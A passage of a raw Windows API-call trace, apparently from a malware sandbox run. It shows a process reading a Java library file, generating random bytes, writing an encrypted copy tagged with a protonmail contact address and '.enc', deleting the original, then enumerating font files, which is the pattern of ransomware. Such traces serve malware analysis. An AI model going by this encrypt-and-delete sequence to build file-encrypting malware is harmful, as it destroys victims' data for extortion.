ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10d3c)) returned 1 [0132.593] GetLastError () returned 0x0 [0132.593] GetCurrentThreadId () returned 0x9b0 [0132.593] GetLastError () returned 0x0 [0132.594] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aaa8 | out: hHeap=0x2ad0000) returned 1 [0132.594] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d494 | out: pbBuffer=0x366d494) returned 1 [0132.594] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0132.594] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a37d0 [0132.594] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0132.594] GetCurrentThreadId () returned 0x9b0 [0132.594] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5be0 [0132.594] GetLastError () returned 0x0 [0132.594] GetLastError () returned 0x0 [0132.594] GetLastError () returned 0x0 [0132.595] GetLastError () returned 0x0 [0132.595] GetCurrentThreadId () returned 0x9b0 [0132.595] GetLastError () returned 0x0 [0132.595] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5be0 | out: hHeap=0x2ad0000) returned 1 [0132.595] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5be0 [0132.595] GetCurrentThreadId () returned 0x9b0 [0132.595] GetLastError () returned 0x0 [0132.595] GetLastError () returned 0x0 [0132.595] GetLastError () returned 0x0 [0132.595] GetLastError () returned 0x0 [0132.596] GetCurrentThreadId () returned 0x9b0 [0132.596] GetLastError () returned 0x0 [0132.596] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5be0 | out: hHeap=0x2ad0000) returned 1 [0132.596] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x35d6408 [0132.596] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a37d0 | out: hHeap=0x2ad0000) returned 1 [0132.596] GetLastError () returned 0x0 [0132.596] GetLastError () returned 0x0 [0132.596] GetLastError () returned 0x0 [0132.596] GetLastError () returned 0x0 [0132.596] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0132.597] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d6418 [0132.597] GetLastError () returned 0x0 [0132.597] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0132.597] GetFileType (hFile=0x39c) returned 0x1 [0132.597] GetLastError () returned 0x0 [0132.597] GetCurrentThreadId () returned 0x9b0 [0132.597] GetLastError () returned 0x0 [0132.597] GetFileType (hFile=0x39c) returned 0x1 [0132.598] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0132.598] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.598] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.598] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.598] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.598] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.598] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.598] GetLastError () returned 0x0 [0132.598] GetCurrentThreadId () returned 0x9b0 [0132.598] GetLastError () returned 0x0 [0132.617] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6418 | out: hHeap=0x2ad0000) returned 1 [0132.617] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7a8 | out: hHeap=0x2ad0000) returned 1 [0132.617] GetLastError () returned 0x0 [0132.617] GetLastError () returned 0x0 [0132.617] GetLastError () returned 0x0 [0132.617] GetLastError () returned 0x0 [0132.618] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0132.618] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d6578 [0132.618] GetLastError () returned 0x0 [0132.618] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0132.618] GetFileType (hFile=0x3ac) returned 0x1 [0132.619] GetLastError () returned 0x0 [0132.619] GetCurrentThreadId () returned 0x9b0 [0132.619] GetLastError () returned 0x0 [0132.619] GetFileType (hFile=0x3ac) returned 0x1 [0132.619] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0132.619] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.619] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.619] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.619] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.619] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.619] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.620] GetLastError () returned 0x0 [0132.620] GetCurrentThreadId () returned 0x9b0 [0132.620] GetLastError () returned 0x0 [0132.620] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6578 | out: hHeap=0x2ad0000) returned 1 [0132.620] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2cd8 | out: hHeap=0x2ad0000) returned 1 [0132.620] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0132.620] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0132.620] GetLastError () returned 0x0 [0132.620] GetLastError () returned 0x0 [0132.620] GetCurrentThreadId () returned 0x9b0 [0132.621] GetLastError () returned 0x0 [0132.621] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0132.621] GetLastError () returned 0x0 [0132.621] GetLastError () returned 0x0 [0132.621] GetCurrentThreadId () returned 0x9b0 [0132.621] GetLastError () returned 0x0 [0132.621] GetLastError () returned 0x0 [0132.623] GetLastError () returned 0x0 [0132.623] GetCurrentThreadId () returned 0x9b0 [0132.623] GetLastError () returned 0x0 [0132.623] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6408 | out: hHeap=0x2ad0000) returned 1 [0132.623] GetCurrentThreadId () returned 0x9b0 [0132.624] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0132.624] GetLastError () returned 0x0 [0132.624] GetLastError () returned 0x0 [0132.624] GetLastError () returned 0x0 [0132.624] GetLastError () returned 0x0 [0132.624] GetCurrentThreadId () returned 0x9b0 [0132.624] GetLastError () returned 0x0 [0132.625] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.625] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0132.625] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0132.625] GetLastError () returned 0x0 [0132.626] GetLastError () returned 0x0 [0132.627] GetCurrentThreadId () returned 0x9b0 [0132.627] GetLastError () returned 0x0 [0132.627] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.627] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0132.627] GetLastError () returned 0x0 [0132.627] GetLastError () returned 0x0 [0132.627] GetCurrentThreadId () returned 0x9b0 [0132.627] GetLastError () returned 0x0 [0132.628] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.628] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x37bf790, Size=0xd55) returned 0x37bf790 [0132.628] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d64f8 [0132.628] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6468 | out: hHeap=0x2ad0000) returned 1 [0132.628] GetCurrentThreadId () returned 0x9b0 [0132.628] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xd58) returned 0x35c0a00 [0132.628] GetLastError () returned 0x0 [0132.628] GetLastError () returned 0x0 [0132.628] GetLastError () returned 0x0 [0132.629] GetLastError () returned 0x0 [0132.629] GetCurrentThreadId () returned 0x9b0 [0132.629] GetLastError () returned 0x0 [0132.629] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c0a00 | out: hHeap=0x2ad0000) returned 1 [0132.629] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0132.629] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0132.629] GetLastError () returned 0x0 [0132.629] GetLastError () returned 0x0 [0132.629] GetCurrentThreadId () returned 0x9b0 [0132.629] GetLastError () returned 0x0 [0132.630] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32e9808 | out: hHeap=0x2ad0000) returned 1 [0132.630] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0132.630] GetLastError () returned 0x0 [0132.630] GetLastError () returned 0x0 [0132.630] GetCurrentThreadId () returned 0x9b0 [0132.630] GetLastError () returned 0x0 [0132.630] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.630] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.631] GetLastError () returned 0x0 [0132.631] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0132.631] CloseHandle (hObject=0x3ac) returned 1 [0132.631] GetLastError () returned 0x0 [0132.631] GetCurrentThreadId () returned 0x9b0 [0132.631] GetLastError () returned 0x0 [0132.631] GetLastError () returned 0x0 [0132.631] CloseHandle (hObject=0x39c) returned 1 [0132.632] GetLastError () returned 0x0 [0132.632] GetCurrentThreadId () returned 0x9b0 [0132.632] GetLastError () returned 0x0 [0132.632] GetLastError () returned 0x0 [0132.632] GetLastError () returned 0x0 [0132.632] GetLastError () returned 0x0 [0132.632] GetLastError () returned 0x0 [0132.632] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar")) returned 1 [0132.634] GetLastError () returned 0x0 [0132.634] GetCurrentThreadId () returned 0x9b0 [0132.634] GetLastError () returned 0x0 [0132.634] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887968 | out: hHeap=0x2ad0000) returned 1 [0132.634] GetCurrentThreadId () returned 0x9b0 [0132.634] GetLastError () returned 0x0 [0132.634] GetLastError () returned 0x0 [0132.634] GetLastError () returned 0x0 [0132.635] GetLastError () returned 0x0 [0132.635] FindFirstFileA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa122f229, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7a50 [0132.636] GetLastError () returned 0x0 [0132.636] GetCurrentThreadId () returned 0x9b0 [0132.636] GetLastError () returned 0x0 [0132.636] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa122f229, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0132.637] GetLastError () returned 0x0 [0132.637] GetCurrentThreadId () returned 0x9b0 [0132.637] GetLastError () returned 0x0 [0132.637] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x12588, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="LucidaBrightDemiBold.ttf", cAlternateFileName="LUCIDA~1.TTF")) returned 1 [0132.637] GetLastError () returned 0x0 [0132.637] GetCurrentThreadId () returned 0x9b0 [0132.637] GetLastError () returned 0x0 [0132.637] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x12574, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="LucidaBrightDemiItalic.ttf", cAlternateFileName="LUCIDA~2.TTF")) returned 1 [0132.637] GetLastError () returned 0x0 [0132.637] GetCurrentThreadId () returned 0x9b0 [0132.637] GetLastError () returned 0x0 [0132.638] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13bd8, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="LucidaBrightItalic.ttf", cAlternateFileName="LUCIDA~3.TTF")) returned 1 [0132.638] GetLastError () returned 0x0 [0132.638] GetCurrentThreadId () returned 0x9b0 [0132.638] GetLastError () returned 0x0 [0132.638] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5434c, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="LucidaBrightRegular.ttf", cAlternateFileName="LUCIDA~4.TTF")) returned 1 [0132.638] GetLastError () returned 0x0 [0132.638] GetCurrentThreadId () returned 0x9b0 [0132.638] GetLastError () returned 0x0 [0132.638] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4d9c8, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="LucidaSansDemiBold.ttf", cAlternateFileName="LU38C7~1.TTF")) returned 1 [0132.638] GetLastError () returned 0x0 [0132.638] GetCurrentThreadId () returned 0x9b0 [0132.638] GetLastError () returned 0x0 [0132.638] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xaa77c, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="LucidaSansRegular.ttf", cAlternateFileName="LU761B~1.TTF")) returned 1 [0132.639] GetLastError () returned 0x0 [0132.639] GetCurrentThreadId () returned 0x9b0 [0132.639] GetLastError () returned 0x0 [0132.639] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39254, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="LucidaTypewriterBold.ttf", cAlternateFileName="LUE73B~1.TTF")) returned 1 [0132.639] GetLastError () returned 0x0 [0132.639] GetCurrentThreadId () returned 0x9b0 [0132.639] GetLastError () returned 0x0 [0132.639] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3b40c, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="LucidaTypewriterRegular.ttf", cAlternateFileName="LUDBAB~1.TTF")) returned 1 [0132.639] GetLastError () returned 0x0 [0132.639] GetCurrentThreadId () returned 0x9b0 [0132.639] GetLastError () returned 0x0 [0132.639] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3b40c, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="LucidaTypewriterRegular.ttf", cAlternateFileName="LUDBAB~1.TTF")) returned 0 [0132.640] GetLastError () returned 0x12 [0132.640] GetCurrentThreadId () returned 0x9b0 [0132.640] GetLastError () returned 0x12 [0132.640] GetLastError () returned 0x12 [0132.640] FindClose (in: hFindFile=0x10f7a50 | out: hFindFile=0x10f7a50) returned 1 [0132.641] GetCurrentThreadId () returned 0x9b0 [0132.641] GetLastError () returned 0x12 [0132.641] GetLastError () returned 0x12 [0132.641] GetLastError () returned 0x12 [0132.641] GetLastError () returned 0x12 [0132.641] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0132.641] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf")) returned 0x20 [0132.642] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db710 | out: hHeap=0x2ad0000) returned 1 [0132.642] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0132.642] GetLastError () returned 0x12 [0132.642] GetLastError () returned 0x12 [0132.643] GetLastError () returned 0x12 [0132.643] GetLastError () returned 0x12 [0132.643] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0132.643] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf")) returned 0x20 [0132.643] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db990 | out: hHeap=0x2ad0000) returned 1 [0132.643] GetCurrentThreadId () returned 0x9b0 [0132.643] GetLastError () returned 0x12 [0132.643] GetLastError () returned 0x12 [0132.644] GetLastError () returned 0x12 [0132.644] GetLastError () returned 0x12 [0132.644] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0132.644] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf")) returned 0x20 [0132.644] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db940 | out: hHeap=0x2ad0000) returned 1 [0132.644] GetLastError () returned 0x12 [0132.644] GetLastError () returned 0x12 [0132.644] GetLastError () returned 0x12 [0132.645] GetLastError () returned 0x12 [0132.645] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0132.645] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf")) returned 0x20 [0132.646] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db940 | out: hHeap=0x2ad0000) returned 1 [0132.646] GetCurrentThreadId () returned 0x9b0 [0132.646] GetLastError () returned 0x12 [0132.646] GetLastError () returned 0x12 [0132.646] GetLastError () returned 0x12 [0132.646] GetLastError () returned 0x12 [0132.646] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0132.646] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf")) returned 0x20 [0132.647] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db760 | out: hHeap=0x2ad0000) returned 1 [0132.647] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881060, Size=0x20) returned 0x35c5be0 [0132.647] GetLastError () returned 0x12 [0132.647] GetLastError () returned 0x12 [0132.647] GetLastError () returned 0x12 [0132.647] GetLastError () returned 0x12 [0132.647] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0132.647] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf")) returned 0x20 [0132.647] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db940 | out: hHeap=0x2ad0000) returned 1 [0132.647] GetCurrentThreadId () returned 0x9b0 [0132.648] GetLastError () returned 0x12 [0132.648] GetLastError () returned 0x12 [0132.648] GetLastError () returned 0x12 [0132.648] GetLastError () returned 0x12 [0132.648] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0132.648] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf")) returned 0x20 [0132.648] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db620 | out: hHeap=0x2ad0000) returned 1 [0132.648] GetLastError () returned 0x12 [0132.649] GetLastError () returned 0x12 [0132.649] GetLastError () returned 0x12 [0132.649] GetLastError () returned 0x12 [0132.649] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0132.649] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf")) returned 0x20 [0132.649] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2720 | out: hHeap=0x2ad0000) returned 1 [0132.649] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887770 | out: hHeap=0x2ad0000) returned 1 [0132.649] GetCurrentThreadId () returned 0x9b0 [0132.650] GetLastError () returned 0x12 [0132.650] GetLastError () returned 0x12 [0132.650] GetLastError () returned 0x12 [0132.650] GetLastError () returned 0x12 [0132.650] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf", lpFilePart=0x9bada4*="LucidaBrightDemiBold.ttf") returned 0x45 [0132.650] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0132.650] GetCurrentThreadId () returned 0x9b0 [0132.650] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0132.650] 